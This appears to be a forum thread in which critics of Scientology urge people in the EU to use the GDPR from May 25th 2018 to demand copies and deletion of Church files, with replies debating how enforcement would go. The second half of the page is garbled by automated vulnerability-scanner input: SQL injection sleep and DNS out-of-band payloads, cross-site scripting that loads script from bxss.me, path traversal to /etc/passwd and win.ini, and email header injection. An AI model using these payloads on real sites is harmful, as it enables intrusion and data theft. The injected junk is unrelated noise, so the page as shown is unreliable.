EU GDPR: Reclaim Your Folders

First, let me say I'm not in the EU myself. So if this project is going to go anywhere, it will take "coordinators" (for want of a better word) in each country or area to spread the word.

On May 25th 2018, enforcement of the new EU General Data Protection Regulation begins:
https://www.eugdpr.org/eugdpr.org.html

The full text of the EU GDPR can be found here: https://gdpr-info.eu/

General FAQ's regarding who it applies to, and what the penalties for noncompliance are, can be found here: https://www.eugdpr.org/gdpr-faqs.html

In short, anyone has the right to see data being held on themselves, and their under age children, and demand it be deleted unless it falls under very limited exceptions. The kicker is:

What this means is come May 25th, anyone in the EU who believes $cientology is holding information on them, whether is a 'Central Files' mailing list, PC folder, "Ethics" folder, or OSA investigation folder, or any other information, can demand a copy of it, and that it be deleted if they so desire.

This does not just apply to current and exe members of $cientology. Politicians, police, 'never in' protestors, or anyone else who believes $cientology investigated them either as an enemy, or potential 'safe pointing' target, can also request a copy any data collected for whatever legal actions they may contemplate, and demand it's deletion if they want. I imagine there are a number of politicians in Germany who might want to persue this angle.

So what's the project?

On May 25th 2018 getting as many people affected by $cientology as possible to show up at orgs all over the EU demanding copies of all data held on themselves and, if desired by the individual, that all such information be deleted from $cientology's files. If they refuse, remind them the penalty for noncompliance can be as much as, "Organizations can be fined up to 4% of annual global turnover for breaching GDPR or €20 Million."

In 2008 $cientology was shocked when 'Anonymous' showed up on their front steps. Let 2018 be the year $cientology is shocked when Europe shows up on their front steps demanding their files.

Spread the word. May 25th is 'EU GDPR: Reclaim Your Folders Day'.

BigBeard

Interesting.

Pass the word to your friends in the European Union, they can not only demand their $cientology files from the EU be deleted, but anything the EU org may have passed 'up lines' to the US also be deleted. And they can do it in:


BigBeard

This is excellent information. Any thoughts on whether it applies to deceased family members? My husband was a member of Scientology and died because of it. I would like to have his folders.

I just did a search within the full text of the document. This regulation does not apply to deceased persons. For anyone else who is interested that info is found here.

https://gdpr-info.eu/?s=deceased

Is there a thread for this at ESMB?

I will circle the date and brace for epic.

There has been a 5 day, now down to daily, countdown with potential impacts to the Cof$ over on 'The Underground Bunker' for a while now. And the EU orgs aren't going to be very happy if they try telling anyone who's been 'declared' or 'disconnected' they can't enter to request their files.

From the EU GDPR:

BigBeard

This was posted in The Underground Bunker's comments today. Copying here just because it's something that will give Miscavige, and $cientology in general, fits once it starts being enforced.

I'll just repeat the comment about this I posted earlier on the Bunker.

"You can hope all you want, but I, for one, am not holding my breath.
People who want access to their files will have to sue, or get the national data protection organisation to ask friendly, ask a little less friendly, sue, raid (with the help of law enforcement) or whatever.
COS will NEVER give access to files voluntarily. They will ONLY do so when they are forced.
So I think by far most ex-members won't bother but just move on with their lives.
I sometimes hope I am wrong here though."

The full text, nicely indexed, of the EU General Data Protection Regulation can be found here:
https://gdpr-info.eu/

I think you'll find the tools to enforce compliance are much stronger than under the old Data Protection Directive.

BigBeard

I'm sure they are. I just don't think the COS will voluntarily comply.

Ex-COS member enters org: "I was a member here. Please hand me my files/folder/whatever."

Current COS member at the desk: "ZOMG an SP", runs away.

Ex-COS member finds a current COS member who isn't that afraid: "I was a member here. Please hand me my files/folder/whatever."

Current COS member: "You are a lying SP. Please provide proof you were in."


Ex-COS member: "Here is my declare / cancelled cert / whatever."

Current COS member: "Hmpf. Please contact our lawyer. This is the address."

Ex-COS member sends letter to or visitis lawyer: "I was a member. Here is my declare / cancelled cert / whatever. Please let COS hand over my files/folders."

Lawyer representing COS: "They don't do that. See you in court."

Ex-COS member: "<Sigh>"

Ex-COS member sends letter to national data protection organisation (NDP).

NDP sends letter to COS asking for folder.

(repeat ad infinitum)


Again, I don't doubt that in the end the COS will have to comply. But it will cost so much time and money that most exes won't bother.

And again, I hope I'm wrong.

Not quite so many steps, and the Data Subject isn't the one who sues:

Ex-COS member finds a current COS member who isn't that afraid: "I was a member here. Please hand me my files/folder/whatever."

Current COS member: "You are a lying SP. Please provide proof you were in."

Ex-COS member: "Here is my declare / cancelled cert / whatever."

Current COS member: "Hmpf. Please contact our lawyer. This is the address."

Ex-COS member: "<Sigh>"

Ex-COS member contacts National Data Protection Agency (NDPA).

NDPA contacts Cof$ explains legal requirement to comply and asks data be turned over to Data Subject.

Cof$ refuses.

NDPA again points out legal requirements, assesses fine, and demainds compliance with GDPR.

Cof$ refuses to pay the fine, or turn over the data.

NDPA intiates judicial action to enforce compliance and, because data regarding religious/philosophic beliefs falls in the "special" category, appoints outside Data Protection Officer (DPO) to ensure appropriate measures are taken to protect the security of data files until a court decision is reached.

Cof$ tries the same tired arguements that worked with the courts under the old Data Protection Directive.

Court to Cof$: "Did you even read the new GDPR? The old rules no longer apply. Your records now fall under the "Special" category, which requires you to have a trained and certified DPO to ensure compliance with all of the GDPR rules. Since you failed to comply:
1. Full control of your data records is granted to the DPA appoined DPO, including processing request for access to, or deletion of, said records.
2. The fine for failure to comply is increased to ########.
3. Continued failure to comply will result in fines up to 20% of the Cof$'s global revenue."

NDPA appointed DPO, with police support if necessary, takes contol of orgs data files.

Ex-Cof$ Member gets records.

BigBeard

Sounds good.

response.write(9298095*9721082)

'+response.write(9298095*9721082)+'

20

"+response.write(9298095*9721082)+"

response.write(9163894*9468870)

20

-1 OR 2+441-441-1=0+0+0+1 --

'+response.write(9163894*9468870)+'

"+response.write(9163894*9468870)+"

-1 OR 2+777-777-1=0+0+0+1

response.write(9502389*9986439)

-1' OR 2+275-275-1=0+0+0+1 --

'+response.write(9502389*9986439)+'

-1' OR 2+26-26-1=0+0+0+1 or 'n8aX54gq'='

-1" OR 2+865-865-1=0+0+0+1 --

"+response.write(9502389*9986439)+"

20</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=013541&r=3-38355&h=3-e79b8-2&/).slice(2),document.documentElement.appendChild(s))//'>

20

20'>"><script src=http://bxss.me/s?u=013541&r=3-38356&h=3-e79b8-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,013541,3-38356,3,e79b8,%22%5D"/>

if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

20

(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

-1; waitfor delay '0:0:9' --

-1); waitfor delay '0:0:9' --

20</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=013541&r=3-38357&h=3-e79b8-2&/).slice(2),document.documentElement.appendChild(s))//'>

1 waitfor delay '0:0:9' --

20

fZFuxAf0'; waitfor delay '0:0:9' --

20

20'>"><script src=http://bxss.me/s?u=013541&r=3-38358&h=3-e79b8-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,013541,3-38358,3,e79b8,%22%5D"/>

20

vVVUZ6O4'; waitfor delay '0:0:5' --

20

%2fetc%2fpasswd

-1;select pg_sleep(10); --

to@example.com>
bcc:013541.3-38400.3.e79b8.1@bxss.me

/.././.././.././.././.././.././.././../etc/./passwd%00

20

-1);select pg_sleep(10); --

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

20
bcc:013541.3-38402.3.e79b8.1@bxss.me

-1));select pg_sleep(10); --

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

20

M1IjKsrR';select pg_sleep(10); --

to@example.com>
bcc:013541.3-38404.3.e79b8.1@bxss.me

O6HhofWn');select pg_sleep(10); --

20

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

VlqdbgIc'));select pg_sleep(10); --

file:///etc/passwd

20
bcc:013541.3-38405.3.e79b8.1@bxss.me

/\../\../\../\../\../\../\../etc/passwd

20||UTL_INADDR.get_host_address('dns.'||'sqli.013541.3-38407.3.e79b8.1.bxss'||'.me')

WEB-INF/web.xml

to@example.com>
bcc:013541.3-38408.3.e79b8.1@bxss.me

/WEB-INF/web.xml

'||UTL_INADDR.get_host_address('dns.'||'sqli.013541.3-38409.3.e79b8.1.bxss'||'.me')||'

WEB-INF\web.xml

20

../../../../../../../../../../windows/win.ini

20;copy (select '') to program 'nslookup dns.sqli.\013541.3-38412.3.e79b8.\1.bxss.me'

C:\WINDOWS\system32\drivers\etc\hosts

20

20

20';copy (select '') to program 'nslookup dns.sqli.\013541.3-38414.3.e79b8.\1.bxss.me

../../../../../../../../../../windows/win.ini.jpg

244'

20

20

................windowswin.ini

20

20

20

..\..\..\..\..\..\..\..\windows\win.ini

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

20

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

20

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

20

WEB-INF/web.xml

20

WEB-INF\web.xml

file:///etc/passwd

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

\

/www.vulnweb.com

20

20

'"

/www.vulnweb.com

20

20

<!--

20

@@PIUQv

20

20

'"

20

JyI=

20

20

20

<!--

20

'"

20

20

20

20

<!--

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20'"()&%<acx><ScRiPt >fOm8(9245)</ScRiPt>

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

'"()&%<acx><ScRiPt >fOm8(9543)</ScRiPt>

20

20

20

20

20

20&lt;ScRiPt&gt;fOm8(9926)&lt;/sCripT&gt;

20

20

20

20

20

20

20<input autofocus onfocus=fOm8(9089)>

20

20

20

20

20

20

20

<a HrEF=http://www.vulnweb.com></a>

20

20

20

20

20

20

20

20

20

20

<a HrEF=jaVaScRiPT:>

20

20

20

20

20

20

<A HrEF=javascript:fOm8(9029);//http://>

20

20

20

20

20

20

20

<A HreF= javascript:fOm8(9229)>

20

20

20

20

<A HreF= javascript&colon;fOm8(9768)>

20

20

20

20